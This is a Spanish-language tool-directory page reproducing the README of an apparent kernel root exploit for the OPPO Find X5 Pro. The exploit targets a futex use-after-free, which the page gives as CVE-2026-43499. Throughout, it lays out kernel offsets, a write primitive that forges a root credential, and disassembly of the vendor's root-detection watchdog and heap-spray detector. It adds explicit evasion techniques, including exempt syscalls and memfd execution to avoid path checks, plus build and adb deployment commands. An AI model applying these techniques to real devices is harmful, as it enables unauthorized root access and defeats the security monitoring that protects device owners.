Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ghostlock-pfem10 — GhostLock (CVE-2026-43499) para OPPO Find X5 Pro (PFEM10) — ingeniería inversa del watchdog de OPlus y del detector de heap-spray | Kitploit
Herramientas/GitHubGitHub/imeiplus/ghostlock-pfem10
Seguridad AndroidEscalada de PrivilegiosForensia de MemoriaAnálisis de VulnerabilidadesExplotaciónIngeniería InversaSeguridad MóvilDesarrollo de PayloadsExplotación de Binarios
GitHubimeiplus/ghostlock-pfem10

ghostlock-pfem10

GhostLock (CVE-2026-43499) para OPPO Find X5 Pro (PFEM10) — ingeniería inversa del watchdog de OPlus y del detector de heap-spray

hace 2 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

GhostLock — OPPO Find X5 Pro (PFEM10)

English · 中文

build

GhostLock (CVE-2026-43499) port para el OPPO Find X5 Pro en ColorOS 16. Alcanza un proceso hijo con uid=0 y un kernelsu.ko cargado; el proceso root es interceptado.

Vulnerabilidad

CVE-2026-43499 — use-after-free de futex PI. remove_waiter() limpia current->pi_blocked_on cuando current es el requeuer, en la ruta de rollback -EDEADLK de rt_mutex_start_proxy_lock().

remove_waiter @ 0xffffffc0081ed254 — forma previa al fix.

Dispositivo

Estado

Sobre "el proceso root sobrevive": las ejecuciones en evidence/kill.log alcanzan uid=0 y cargan kernelsu.ko, y en la ejecución que realmente lo sondeó el proceso del gestor de KernelSU sobrevivió 120 s con kernelsu aún Live en /proc/modules. En una ejecución posterior la misma cadena dejó los servicios del framework de Android inalcanzables (Can't find service: package/power/input/phone/wifi) mientras el módulo seguía Live. Nunca se ha capturado ninguna línea de kernel [ROOTCHECK-*] ni ningún payload $$sys_call_number@@, por lo que la causa del estado de la ejecución posterior no se atribuye. Ver evidence/notes.md §2.3, §2.4 y §7.

Offsets

task_struct

thread_info

CampoOffset

cred

Flujo del Exploit```

LT perf leak target task_struct → file W7 stage 1 task+0x778 = V (real_cred → private sprayed page; V observed) W7 stage 2 task+0x780 = V (cred) ★ V12_W7_VALUE=V — THE SAME VALUE, not a new page W7 stage 3 V+8 = 0 (LOCAL repair of the page that was installed, ZERO shape) LT child fexecve(memfd of loader) — no execve of a /data path loader ksud late-load → kernelsu ... Live

root@kitploit:~
**La etapa 2 debe recibir explícitamente el valor de la etapa 1.** Las etapas 1 y 2 son dos
procesos independientes, cada uno con su propio spray, por lo que "escribir la página de credenciales en ambas
ranuras" es una trampa: leído ingenuamente produce `(pageA, pageB)`, y como
`commit_creds` compara **punteros**, ese par es divergente incluso cuando ambas escrituras
se realizan. Esto no es hipotético — es exactamente lo que hicieron las ejecuciones 3 y 9:```
run 9   0x778 shot  write value = 0xffffff88679bade0
        0x780 shot  write value = 0xffffff8785d6ade0     <- a different page
run 3   0x778 shot  write value = 0xffffff8787b5ade0
        0x780 shot  write value = 0xffffff881bad2de0     <- a different page

run_bootA.sh por lo tanto dispara la etapa 2 con V12_W7_VALUE=<valor observado de la etapa 1> y se niega a dispararla por completo si ese valor no puede recuperarse. HOLD debe sobrevivir a la etapa 2, o la página de la etapa 1 se libera y se reasigna y "el mismo valor" se convierte en un puntero colgante. Véase la regla del mismo valor.

Se repara una página por arranque. La etapa 3 pone a cero V+8. Con dos páginas diferentes, poner a cero ambas borraría el sello gid/suid (abajo) y haría que una divergencia pareciera un acuerdo, por lo que el ejecutor repara solo la página que realmente se instaló y se detiene si los dos valores no coinciden.

La página de credenciales es construida por payload.c: los ocho campos de id a cero, los cinco conjuntos de capacidades completos, y user / user_ns / group_info apuntando a root_user / init_user_ns / init_groups. La etapa 3 existe porque el efecto secundario de la escritura siempre sobrescribe cred+8 (gid/suid) de cualquier credencial que instale.

Sobre init_cred — una dicotomía explícita

Dos secciones aquí solían contradecirse entre sí ("nunca el init_cred global" vs "CONTROL=1 reproduce la celda 2", y la celda 2 es init_cred). Ambas afirmaciones son ciertas para roles diferentes:

  • Prohibido como objetivo. Escribir el puntero init_cred hace que el efecto secundario corrompa init_cred+8 globalmente — init_cred es compartido por cada hilo del kernel, y Uid: 0 0 4294967176 0 es precisamente esa corrupción. El código rechaza esta ruta a menos que V12_ALLOW_INIT_CRED=1 se establezca deliberadamente.
  • Retenido como el único par consistente PROBADO. La cadena 09-14 que alcanzó ksud escribió una dirección fija (0xffffff802a7e0be0) en ambas ranuras, por lo que real_cred == cred por construcción — es por eso que sobrevivió hasta execve. CONTROL=1 lo reproduce. Es un control, no una configuración sobre la que construir.

fuga de perf: PERF_TYPE_SOFTWARE / PERF_COUNT_SW_CPU_CLOCK, PERF_SAMPLE_REGS_INTR, exclude_user=1. Aceptar [0xffffff8400000000, 0xffffff90000000), votos ≥ 15%.

La primitiva de escritura, y su efecto secundario

El UAF se controla a través de rb_erase_cached Caso 1-izquierda. Eso da dos almacenamientos, no uno:``` *(write_target) = write_value // the store you aim *(write_value + 0x08) = write_target // unavoidable side effect

root@kitploit:~
`write_value` debe estar alineado a 8 bytes con el bit 0 en cero — es `0` o una
dirección de kernel válida. **Por esto `g_boot_state` no puede establecerse con esta
primitiva**: el byte que necesitas que se convierta en `1` tiene su bit bajo forzado a `0` por
el requisito de alineación, y `write_value` es la misma cantidad que la
dirección en la que recae el efecto secundario.

### El efecto secundario escribe en cualquier cosa a la que apunte `write_value`

`write_value` es tanto *el valor almacenado* como *la dirección a la que el efecto secundario
escribe* (en `+8`). Apúntalo a un objeto global del kernel y corromperás ese
objeto.

**W7 solía hacer exactamente esto** — apuntando `write_value` al alias `init_cred` —
y es visible en la lectura de vuelta. De `out/t5_w7_778.txt`:```
shape shift=0 wps=5: in[0]=0xffffff802a7e0be0 (write_value) in[2]=0xffffff8800cdd178 (write_target)
W7[W7] write_target= 0xffffff8800cdd178
Uid:	0	0	4294967176	0

write_value era el alias de init_cred y write_target era child_task+0x778. init_cred+8 es gid/suid, por lo que el efecto secundario almacenó 0xffffff8800cdd178 ahí: init_cred.gid = 0x00cdd178 y init_cred.suid = 0xffffff88 = 4294967176 — precisamente el cuarto campo de awk de la línea Uid: anterior. Poner a cero init_cred+8 lo reparó (out/t5_repair.txt: Uid: 0 0 4294967176 0 → ), que es todo lo que "W7 stage 3" fue alguna vez.

Esta ruta ahora se rechaza en el código. V12_W7_INIT_CRED=1 aborta con una explicación a menos que también se establezca V12_ALLOW_INIT_CRED=1, y las rutas W2/W6/LTC ya no recurren a init_cred cuando falta la página de cred privada — en su lugar abortan. La ruta predeterminada, y la única sensata, es la página de cred rociada.

El efecto secundario en sí no puede evitarse: write_value debe ser el puntero de cred, por lo que cred+8 siempre se sobrescribe con el objetivo de escritura. Solo su ubicación es una elección — y la reparación ahora es un cero local de cred_page+8 (etapa 3), no una escritura en un objeto global.

Una lectura de groups= basura es un síntoma separado, no este. Se observó en una ejecución donde gid y egid se leyeron limpiamente, por lo que no puede provenir del efecto secundario de init_cred+8; apunta al propio campo group_info del cred falso. Véase evidence/notes.md §10.6.

★ Un aterrizaje de un solo campo deja la tarea divergente — y eso es un BUG_ON duro

La primitiva almacena en exactamente una dirección por pasada. task+0x778 (real_cred) y task+0x780 (cred) son dos direcciones separadas, por lo que cualquier escritura aterrizada solo en 0x778 o solo en 0x780 deja la tarea con cred != real_cred — un estado de divergencia.

En esta imagen ese estado es un pánico duro, no una advertencia. commit_creds comienza con BUG_ON(task->cred != task->real_cred):``` commit_creds @0xffffffc008186784 0x1867a4 ldr x19, [x20, #0x778] ; old = task->real_cred 0x1867a8 ldr x8, [x20, #0x780] ; task->cred 0x1867ac cmp x8, x19 0x1867b0 b.ne #0xffffffc008186b68 0x186b68 brk #0x800 ; == BUG()

root@kitploit:~
y el kernel está compilado con **`CONFIG_PANIC_ON_OOPS=y`** (`CONFIG_PANIC_ON_OOPS_VALUE=1`).
`__put_cred @0xffffffc008185530` lleva la misma familia de aserciones
(`usage != 0` → BUG; `cred == current->cred` / `current->real_cred` → BUG).

Así que la divergencia es *latente* — no hace nada mientras la víctima simplemente gira —
hasta que **cualquier** `commit_creds` ocurre en esa tarea: `setresuid` / `setresgid` /
`setuid` / `setgid` / `capset`, o **`execve` vía `install_exec_creds`**.

> **⛔ Retractado (2026-09-18 tarde): este NO es el mecanismo de reinicio.**
>
> Una revisión anterior de esta sección llamaba a la divergencia "el principal mecanismo
> candidato para los reinicios" y decía que "explica la división de formas". No lo hace,
> y la razón ahora está medida en lugar de argumentada:
>
> * `commit_creds` toma su tarea de **`current`** — `0x1867a0 mrs x20, sp_el0`.
>   Su firma es `commit_creds(struct cred *new)`; no hay argumento de tarea.
>   Así que una divergencia solo importa si la tarea que la **posee** llama a `commit_creds`
>   ella misma.
> * Las ejecuciones que reiniciaban eran todas `V12_NO_EXEC=1` (indicado textualmente en
>   `run3_0445.log:18`, `run9_0606.log:20`, `run10_0616.log:24`), así que la víctima
>   nunca emitió `execve` y nunca alcanzó `commit_creds` en absoluto.
> * La ejecución 10 no tuvo ningún poke en absoluto (`grep -c poke` = 0).
> * `exit_creds` anula **ambos** punteros antes de `put_cred`
>   (`0x185cb8 str xzr,[x19,#0x778]`; `0x185d24 str xzr,[x19,#0x780]`), así que el
>   `_exit(0)` de la víctima **borra** la divergencia en lugar de tropezar con ella.
>
> ⇒ En esas ejecuciones la divergencia fue **inerte**. El `BUG_ON` es real, pero es una
> mina terrestre que no ha explotado. "La forma A nunca reinicia" vuelve a ser una
> correlación. Lo que la mina terrestre realmente restringe es el **blanqueo**, porque
> `setresgid`/`setresuid` llaman a `commit_creds` ellos mismos.
>
> **La cantidad que realmente separa las cadenas es la igualdad de punteros, y eso
> significa que los dos disparos deben escribir UN valor** — véase la siguiente subsección.

### ★★★ Los dos disparos deben escribir el *mismo* valor — no simplemente ambos acertar

`BUG_ON` compara **punteros**. Dos páginas que ambas llevan `uid 0` siguen siendo dos
objetos diferentes. Las capturas hacen la distinción concreta:

| cadena | disparo 0x778 | disparo 0x780 | punteros |
|---|---|---|---|
| antigua (`t5loop.sh MODE=CRED`) | `in[0]=0xffffff802a7e0be0` | `in[0]=0xffffff802a7e0be0` | **iguales** → ksud cargado, gestor vivo 120 s |
| nueva (`run_bootA.sh`) | `0xffffff88679bade0` (ejecución 9) | `0xffffff8785d6ade0` | **difieren** → divergente incluso con ambos acertados |

`tools/t5loop.sh` aplica **un** `$ENVV` a **cada** offset, así que `MODE=CRED`
hizo ambos disparos idénticos *por construcción*. `run_bootA.sh` disparó el paso 5 y
el paso 6 cada uno con un `$extra` vacío, así que cada uno roció su **propia** página.

⇒ El requisito es **"ambos disparos escriben el mismo valor"**. `run_bootA.sh` ahora
lo impone (`SAME_VALUE=1`, el predeterminado): el paso 6 reutiliza el `write_value`
observado del paso 5 textualmente, y **se niega a disparar en absoluto** si no puede
recuperar ese valor — porque disparar construiría un par divergente.

⚠ `HOLD` debe sobrevivir al segundo disparo. Si el proceso hijo PIN del primer disparo
muere primero, la página se libera y se reasigna y "mismo valor" se convierte en un
puntero colgante. El `HOLD=20` predeterminado es **demasiado corto**; use `HOLD=600`.
Esto ahora es el valor *predeterminado* siempre que `SAME_VALUE=1` — el antiguo 20 s
incondicional significaba que la configuración predeterminada era ella misma la
trampa — y un `HOLD` corto explícito con `SAME_VALUE=1` ahora advierte ruidosamente
en lugar de producir silenciosamente un puntero colgante.

⚠ `CONTROL=1` solía cambiar **solo el paso 5**, así que producía
`(init_cred, página nueva)` — un par divergente — mientras este archivo afirmaba que
reproducía la celda 2. Corregido: ahora establece ambos disparos a `init_cred`. (El
coste de la celda 2 se mantiene: el efecto secundario corrompe `init_cred+8`
globalmente, que es lo que es `Uid: 0 0 4294967176 0`.)

**Consecuencias para cualquier cosa que quiera blanquear la credencial**
(`setresgid` + `setresuid`, para intercambiar la página rociada por un `struct cred`
real):

- El mecanismo es real y está verificado — `commit_creds` escribe `x21` en **ambos**
  `task+0x778` y `task+0x780` (`0x186998` / `0x1869a0`), así que una llamada repara la
  división permanentemente; `prepare_creds @0xffffffc008186070` es
  `kmem_cache_alloc(cred_jar)` + `memcpy(new, task->cred, 0xA8)` +
  `security_prepare_creds(...)`, y 147/149 están ambos en la lista de exentos del guard.
- **Pero su precondición es lo opuesto a "saltarse el disparo 0x778".** El blanqueo
  en sí llama a `commit_creds`, así que solo debe emitirse cuando **ambos** punteros
  ya contienen el mismo valor.
- `V12_LAUNDER=1` está condicionado a **dos** cosas, y la primera no es una observación:
  1. **`V12_W7_SAME_VALUE=1`** — el hecho de *procedencia* de que a ambos disparos se
     les dio el mismo valor. Sin una primitiva de lectura, la identidad de punteros es
     inobservable, así que esto no puede reemplazarse por una mejor comprobación en
     espacio de usuario; debe declararse.
  2. `consistent=1` — la vista de `0x780` (`getuid()`) coincidiendo con la vista de
     `0x778` (`/proc/self/status` `Uid:`). **Necesario pero no suficiente por sí solo**:
     dos páginas distintas que ambas llevan `uid 0` se leen iguales mientras los
     punteros difieren — que es exactamente el caso que el runner solía fabricar.
     Dado (1), se vuelve suficiente: coinciden + mismo valor ⇒ ambos aterrizaron en
     la misma página.
  Si cualquiera de las comprobaciones falla ⇒ negarse, y la tabla de cuatro casos va
  a la evidencia. La línea del informe LT imprime ambas vistas (`uid=` / `real_uid=` /
  `consistent=`) más `same_value_declared=` para que el estado se lea, no se infiera.

### ★ Instrumento 1 — el efecto secundario es un STAMP dirigido al objetivo

`*(write_value + 8) = write_target`, y `cred+8` / `cred+0xc` son `gid` / `suid`,
así que un almacén de 8 bytes aterriza sobre ambos:```
cred.gid  = low32(write_target)
cred.suid = hi32(write_target)

Eso es una medición, no un modelo. out/t5_w7_778.txt tiene write_target = 0xffffff8800cdd178 y Uid: 0 0 4294967176 0, donde 4294967176 = 0xffffff88 = hi32(write_target); notes.md §11 registra la otra mitad, init_cred.gid = 0x00cdd178 = low32(write_target).

Dos usos:

  1. Es el oráculo de aterrizaje para task+0x778. /proc/<pid>/status lee real_cred = task+0x778 — exactamente el cred recién instalado — así que el sello es directamente legible desde el espacio de usuario. Léelo antes de la etapa 3: la reparación pone a cero cred+8 y lo borra (t5_repair.txt de notes.md §11 lee 4294967176 antes de una reparación exitosa y 0 después).
  2. Es una segunda razón independiente por la que la compuerta de blanqueo puede atrapar dos páginas diferentes. La mitad del uid por sí sola no puede: cualquier página con uid 0 lee 0, así que dos páginas distintas reportan ambas "consistente". Pero low32(T+0x778) y low32(T+0x780) difieren en exactamente 8, así que con dos páginas (de ) y (de ) discrepan — y compara gid además de uid.

⇒ V12_W7_SAME_VALUE es la segunda compuerta, no la única. Sigue importando: el sello solo discrimina si ambos efectos secundarios se dispararon, así que la regla de mismo valor cierra ese agujero residual. Y nota qué es una compuerta — un detector, no un preventor. Solo puede rechazar; deja la tarea divergente por el resto del arranque. La regla de mismo valor es lo que hace que el par sea correcto, que es lo que tenía la cadena antigua y lo que se necesita para llegar a execve siquiera.

★ Instrumento 2 — probe_state NO es un criterio de aterrizaje

Ha estado equivocado tres veces en este proyecto: W1 aterrizó en el global y reportó R; la D de la ejecución 12 apuntaba a un global en lugar de a un cred; y la R de la ejecución 11 se escribió en una tabla como si fuera un aterrizaje (run11_w778r1_miss.txt y w7_w7781.txt de la ejecución 7 son isomorfos línea por línea — ambos probe_state = R, probe_done = 0). Usa un oráculo por objetivo:

run_bootA.sh ahora usa el sello para la etapa 1 — que es lo que hace que los reintentos de ROUNDS>1 sobre task+0x778 sean significativos, ya que una ronda fallida es legible en lugar de inferida — y no disparará la etapa 2 a menos que la etapa 1 haya aterrizado.

⛔ Di "campo de awk", nunca "3er campo". uid_line imprime también la etiqueta (Uid: 0 0 4294967176 0), así que $1 de awk es "Uid:" y los cuatro valores de id son $2..$5: $2=uid $3=euid $4=suid $5=fsuid. El sello está en cred+8, es decir gid (low32) y suid (hi32) — así que es Gid: $2 y Uid: . Llamarlo "el tercer campo" (que cuenta , y es como lo redacta §11) invita al código a leer , que es = en el cred falso y nunca puede ser igual a . Ese off-by-one estaba presente aquí: devolvía "no stamp" para un disparo que aterrizó, así que la etapa 2 nunca se disparó y la compuerta de blanqueo rechazó para siempre — , porque "no stamp" es también el resultado normal de un fallo genuino.

Un criterio que nunca se prueba contra una muestra positiva conocida no es un criterio, es una conjetura — y esta clase de fallo (este off-by-one, probe_state, dmesg -w, el klog.host vacío, la lectura en blanco) siempre se presenta como "no pasó nada", que también es un resultado experimental legítimo. Así que la comprobación ahora está defendida dos veces:

  • stamp_selftest() se ejecuta en el preflight y hace exit 9 si falla, ejecutando las mismas funciones de extracción que usa la compuerta contra los valores medidos de out/t5_w7_778.txt (write_target = 0xffffff8800cdd178 → Uid $4 = 4294967176, Gid $2 = 13488504) más muestras negativas e ilegibles. Un autotest que reimplementa la comprobación no prueba nada, así que la extracción de campos está factorizada en uid_suid_field / gid_gid_field.
  • tools/test_stamp_criterion.sh — lo mismo como test de regresión independiente, extrayendo las funciones reales de .

stamp_ok() devuelve tres estados, porque "no se puede leer" no es "no hay sello" (esa confusión es lo que hizo que la ejecución 13 pareciera "sin cambio"): 0 = presente, 1 = legible y sin sello, 2 = ILEGIBLE. Y cuando devuelve 1 mientras probe_state = D, el runner imprime ⛔ ORACLE INCONSISTENT — "ve a revisar el criterio" — en lugar del mensaje "no aterrizó", que envía al operador a un lugar completamente distinto (un arranque nuevo, o una cacería de tasa de aciertos).

Derivación completa: evidence/2026-09-18-divergence-is-latent.md y evidence/2026-09-18-cred-launder-verification.md (el §2.3 de este último queda retractado en el lugar). La autocomprobación de solapamiento de forma de escritura se cierra offline: las palabras de forma viven en la rejilla fd_set en la pila del kernel mientras el efecto secundario aterriza dentro de la página rociada, así que las dos no pueden solaparse en ninguna de las dos formas.

Rutas de detección

Tres reporteros independientes. Ninguno es un respaldo de otro, y solo la ruta 1 puede matar la tarea llamante.

La ruta 2 se dispara en execve, no en el cambio de credenciales, y es una ruta de código separada de la ruta 1. Reporta a través de kevent_send_to_user, así que lo que ocurre después es decisión de un demonio de espacio de usuario, no del kernel.

La comprobación es sobre la ruta de la imagen que se está ejecutando, así que no basta con cargar en memfd el payload del cargador: si el propio cargador se ejecuta desde /data/local/tmp, ese primer execve ya reporta. d_path() sobre un memfd es /memfd:…, así que el propio cargador debe ejecutarse a través de un memfd — V12_EXEC_MEMFD ahora está activado por defecto exactamente por esta razón. El comportamiento antiguo es visible en RUN 4:``` LT child exec /data/local/tmp/glx12 (4 args) <- execve of a /data path while uid=0 LT child memfd loaded 5014624 bytes (fd=5) <- memfd only protected the second image

root@kitploit:~
Marcadores grepeables para la ruta 2:```
[ROOTCHECK-EXEC-INFO]:common %s result %s      with  "execve_report" / "execve_block"
%d,path@@%s                                    kevent payload fragment

Porque la ruta 2 y la ruta 3 solo reportan a través de kevent, "ningún [ROOTCHECK-*] en el log del kernel" no excluye que alguna de ellas se haya disparado. Esa inferencia necesita el receptor en espacio de usuario, que no hemos localizado.

Watchdog — oplus_security_guard.ko

Caché de sys_enter:```asm ldrsw x8, [x1, #0x118] ; regs->syscallno mrs x9, sp_el0 ; current ldr x10, [x9, #0x780] ; cred str x8, [x9, #0xdf8] ldr w8, [x10, #4] → str x8, [x9, #0xe00] ; uid ldr w8, [x10, #0x14] → str x8, [x9, #0xe08] ; euid ldr w8, [x10, #8] → str x8, [x9, #0xe10] ; gid ldr w8, [x10, #0x18] → str x8, [x9, #0xe18] ; egid

root@kitploit:~
`sys_exit` check:```asm
ldr   x0,  [x8, #0xe00]         ; cached uid
cbz   x0, #0x48c                ; cached uid == 0 → return
adrp  x9, #0 ; ldrb w9, [x9]    ; g_boot_state
tbnz  w9, #0, #0x48c            ; is_unlocked → return
ldr   x9,  [x8, #0x780]         ; cred
ldr   w3,  [x8, #0xdf8]         ; cached syscallno
cmp   x0, w10 ; b.hi #0x468     ; uid descending → kill path
                                ; euid / gid / egid, same shape
ldr   x9,  [x8, #8]             ; addr_limit
cmp   x9,  #0x8000000001
b.lo  #0x48c                    ; addr_limit != KERNEL_DS → return
sub   w9,  w3, #0x8f            ; syscallno - 143
cmp   w9,  #0x47
b.hi  #0x4a0                    ; outside 143..214 → kill
ldrsw x12, [x10, x9, lsl #2]    ; jmp table @ .rodata+0
br    x11
0x48c: ret
0x4a0: bl oplus_root_check_succ ; printk + kevent_send_to_user
       bl oplus_root_killed     ; printk + do_exit(SIGKILL)

Nota sobre el flujo de control (importante para el orden de explotación). Las cuatro comparaciones de borde descendente saltan directamente a 0x468, el despacho del número de syscall — no caen a través de la puerta addr_limit. Solo se alcanza 0x454–0x464 cuando ningún id descendió. Por lo tanto, el despacho se entra cuando o bien algún id descendió o bien addr_limit == KERNEL_DS; no está condicionado por addr_limit.

Consecuencias:

  • El killer se dispara en la syscall durante la cual cambiaron las credenciales — aquella cuyo sys_enter aún tenía cacheado el uid antiguo. Si la tarea ya es uid=0 cuando entra una syscall (0x400 cbz), el hook retorna y permanece ciego a partir de entonces.
  • Por lo tanto, un cambio de credenciales es superable sin tocar el módulo: deja que otra tarea realice la escritura mientras la víctima gira en espacio de usuario, o canaliza el cambio a través de una de las 12 syscalls exentas. Véase delivery/外部建议评审_2026-09-18.md.

g_boot_state — 1 byte .data..ro_after_init, establecido en la inicialización del módulo desde verified_bootstate mediante strstr. is_unlocked() = LDRB + RET.

Las escrituras en VA del módulo provocan fallo (CONFIG_STRICT_MODULE_RWX=y) — usa el alias de physmap 0xffffff80….

Payload del informe: $$sys_call_number@@%d, $$set_id_flag@@%d, $$addr_limit@@%lx, $$enforce@@%d.

Syscalls exentas — .rodata+0, índices 143–214

Las 60 entradas restantes → informe + kill.

No bloquees un hilo en sendmsg (211) mientras cambian sus credenciales. No está en la tabla, por lo que el hilo es reportado y eliminado. Las únicas syscalls en las que es seguro quedar bloqueado con ese propósito son las doce anteriores: setregid, setgid, setreuid, setuid, setresuid, setresgid, connect, getsockname, setsockopt, shutdown, readahead, brk.

Corrección (2026-09-18). Una revisión anterior de esta tabla etiquetaba cada entrada una menos que el número real de syscall de arm64 (146 se llamaba setresuid; es setuid — setresuid es 147). Los números siempre estuvieron correctos; solo los nombres estaban mal. Los nombres ahora se resuelven desde sys_call_table @ 0xffffffc00a13d8c0 en la imagen del kernel de este dispositivo. En particular sendmsg (211), munmap (215), getsockopt (209) y getpeername (205) no están exentas — bloquear un hilo en cualquiera de esas mientras cambian sus credenciales es un kill, no un pass. Regenerar con tools/gen_exempt_table.py.

Detector de Heap-Spray — oplus_secure_harden.ko

root@kitploit:~
`entry_handler_setxattr` → `oplus_heapspray_check(7)`, `entry_handler_cpuinfo` → `(6)`, ambos incondicionales.

`oplus_heapspray_check` — contadores `heapspary_ip4` / `ip6` / `xttr` / `cpuinfo`, delta de `ktime_get_real_ts64`, 7 sitios de reporte (`snprintf` + `printk` + `kevent_send_to_user`), condicionado a `verified_bootstate`.

### Evasión

| Primitiva | |
|---|---|
| `setsockopt` optname 46 `MCAST_JOIN_SOURCE_GROUP` | no filtrado |
| `setsockopt` level `SOL_IPV6` (41) | no filtrado si el filtro lee `level` |
| `setxattr` | siempre contado |
| `/proc/cpuinfo` | siempre contado |
| `socket()` / `socketpair()` | no enganchado |
| `sendmsg`, `pipe`, `memfd`, `add_key`, `io_uring`, mmap | no enganchado |

## Config```
CONFIG_CFI_CLANG=y
CONFIG_PTR_AUTH=y
CONFIG_SHADOW_CALL_STACK=y
CONFIG_STRICT_MODULE_RWX=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_SET_FS=y
CONFIG_RANDOMIZE_BASE=y
CONFIG_RANDOMIZE_MODULE_REGION_FULL=n
CONFIG_UNMAP_KERNEL_AT_EL0=y
CONFIG_ARM64_VA_BITS=39
CONFIG_ARM64_SW_TTBR0_PAN=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
CONFIG_RANDOM_KMALLOC_CACHES=n
CONFIG_USER_NS=n
CONFIG_NF_TABLES=n
CONFIG_SYSVIPC=n
CONFIG_ANDROID_BINDER_IPC=y
CONFIG_KASAN=y

perf_event_paranoid = -1

Compilación

NDK r28c. -O1 / API 26 / -D__ARM=1 son fijos — mantienen la geometría del marco de pila de reclamación (calibración delta=0). Cambiar cualquiera de ellos requiere recalibrar en el dispositivo.```bash export ANDROID_NDK_HOME=/path/to/android-ndk-r28c make # → exploit_guard ./build.sh # same, with NDK auto-detection

root@kitploit:~
Manual:```bash
"$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android26-clang" \
  -D__ARM=1 -O1 -Wall -Wextra -pthread -Isrc/core -Isrc/devices/pfem10 \
  -o exploit_guard src/core/exploit.c

CI compila en cada push (.github/workflows/build.yml, Ubuntu + NDK r28c, artefacto exploit_guard).

Configuración```bash

adb push exploit_guard /data/local/tmp/e adb shell chmod 755 /data/local/tmp/e adb shell /data/local/tmp/e

root@kitploit:~
## Archivos```
src/core/                 exploit.c  payload.c  payload.h  fdset_map.h
src/lib/                  KernelSnitch — kernelsnitch.h  futex_hash.h  timeutils.h  utils.h
src/devices/pfem10/       pfem10_target.h
model/                    model.c — host-side rtmutex chain-walk model
tools/                    kdis.py  kdis_ko.py  kdis_ko_reloc.py  gen_guard_disasm.py
                          gen_exempt_table.py  mod_layout.py  sct_dump.py
                          find_task_off.py  slide_resolve.py
                          test_stamp_criterion.sh   regression test for the 0x778
                                                    landing criterion (run it after
                                                    touching uid_line/gid_line)
artifacts/                guard_post_handler.s   kill chain, relocations resolved
                          guard_relocs.txt       raw .text relocation dump
                          guard_disasm.txt       guard + heap-spray detector
                          guard_exempt_table.txt 72-slot jump table, real names
evidence/                 kill.log  notes.md — device captures and their limits
Makefile  build.sh        exploit build (-O1, API 26, NDK r28c)
run.sh                    device-side run orchestration (retry across reboots)
.github/workflows/        build.yml — cloud build + artifact

Evidencia

evidence/kill.log — transcripciones textuales de adb shell de cuatro ejecuciones como root: la línea de tiempo completa, el momento en que el uid de la tarea objetivo se convierte en 0, la carga de kernelsu.ko y el estado posterior. Lee primero el bloque de encabezado: enumera lo que el archivo no contiene y por qué.

evidence/notes.md — el lado del kernel. Direcciones del módulo y qué canales de /proc funcionan en cada estado de SELinux; la derivación completa de g_boot_state incluida la clave strstr; la tabla de exenciones corregida; la receta de captura que produciría la mitad del kernel faltante; y una lista de lo que aún está abierto.

evidence/2026-09-18-bootA/ — la primera ejecución en dispositivo del diseño actual, 13 arranques. Los reinicios son ordenados (bootreason=reboot) y nunca se ha capturado una línea de pánico — pero léelo como una muestra de uno, no de trece. De las cuatro ejecuciones que se reiniciaron, dos guardaron un klog.host vacío, una guardó el registro del arranque siguiente y solo una ventana puede plausiblemente delimitar su propio reinicio. Asimismo, el probe_state y la lectura de vuelta de la víctima de una ejecución están ambos vacíos (el dispositivo ya no estaba), por lo que no aporta información sobre si su escritura se realizó — un campo en blanco no es "sin cambios". El directorio también documenta el error de metodología que vale la pena conocer: dmesg -w no hace nada en este dispositivo (toybox vuelca una vez y sale), por lo que el registro del kernel de una ejecución anterior solo contenía historial previo a la captura — "sin [ROOTCHECK-*]" no era evidencia de nada. evidence/notes.md §6 contiene la receta corregida de sondeo y transmisión al host.

evidence/2026-09-18-cred-launder-verification.md — verificación de la propuesta de blanqueo de credenciales contra el propio desensamblado de esta imagen (no el código fuente genérico de 5.10): el doble almacenamiento de commit_creds, la asignación de prepare_creds y el sizeof(struct cred) = 0xA8 medido, el riesgo de divergencia BUG_ON(cred != real_cred) mencionado arriba, la autocomprobación cerrada de solapamiento de forma de escritura y la auditoría de cobertura de evidencia de los 13 arranques. §2.3 está retractado en el lugar — la divergencia es latente, no el mecanismo de reinicio.

evidence/2026-09-18-divergence-is-latent.md — la verificación de la ronda 2. commit_creds toma su tarea de current (0x1867a0 mrs x20, sp_el0), exit_creds anula ambos punteros antes de put_cred, y las capturas sin procesar muestran que la cadena antigua escribió un valor idéntico (0xffffff802a7e0be0) en ambas ranuras mientras que la cadena nueva escribió dos páginas diferentes. Así que el criterio es la igualdad de punteros — "ambos disparos escriben el mismo valor", no "ambos disparos aciertan".

postreboot_forensics.sh — análisis forense de reinicio que no depende del sondeador. El criterio es una única condición: CONFIG_PSTORE_CONSOLE=y hace que panic() escriba la cola de la consola en ramoops en kmsg_dump(KMSG_DUMP_PANIC) — antes de cualquier reinicio — por lo que si la máquina luego se reinicia o se cuelga es irrelevante. Extrae /sys/fs/pstore/, busca kernel BUG / __put_cred / cred.c y muestra la cadena del motivo de arranque (las entradas del historial han llevado sufijos reboot,shell / bootloader / reboot,edl, por lo que el motivo distingue a un actor donde la época no lo hace).

⚠ No interpretes "bootreason=reboot limpio" como "sin pánico". En QCOM una aserción del watchdog del SoC se reinicia a través del bloque PMIC PON, por lo que panic → panic_timeout=-1 → hang → watchdog → PMIC reset → clean bootreason es una cadena autoconsistente que es indistinguible de un reinicio de hardware con la evidencia que tenemos. El propio total_17_dump_0_pmic_17 de este repositorio atribuye los 17 reinicios anómalos a pmic, que es exactamente la forma normal del watchdog, no evidencia de "no es el kernel". bootreason no acota nada aquí; ramoops es el único criterio.

Dos precondiciones, o el veredicto del script es nulo (铁律 8 — una conclusión sin señal requiere que el canal se demuestre accesible primero):

